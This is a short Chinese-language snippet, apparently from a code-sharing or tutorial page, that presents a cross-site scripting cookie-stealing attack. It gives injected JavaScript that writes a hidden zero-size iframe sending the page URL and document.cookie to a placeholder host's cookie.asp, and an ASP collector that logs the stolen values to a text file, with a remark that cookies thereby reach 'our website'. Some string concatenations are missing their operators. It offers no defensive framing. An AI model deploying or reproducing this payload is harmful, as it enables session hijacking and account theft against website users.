偷取Cookie,根据下列脚本引入一个js,document.write("<script src=XX.js></script>"),随后js內容为:
var code;         
var target = "http://www.xxx.net/cookie.asp?";
info=escape(document.location "@@@" document.cookie);
target=target info;
code="<iframe style='display:none;' src=";
code=code target;         
code=code " width=0 height=0></iframe>";
document.write(code);

那样就可以将cookie等信息内容传入大家的网站了!cookie.asp內容为:

复制代码编码以下:
dim fso,file,str        
str=unescape(request.Servervariables("QUERY_STRING"))    
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.CreateObject("Scripting.FileSystemObject") 
path = server.mappath("xxx.txt")     
set file=fso.opentextfile(path, ForAppending, TRUE)   
file.write("Xss:")
file.write(str)        
file.write vbCrLf       
file.close
set file = nothing        
set fso = nothing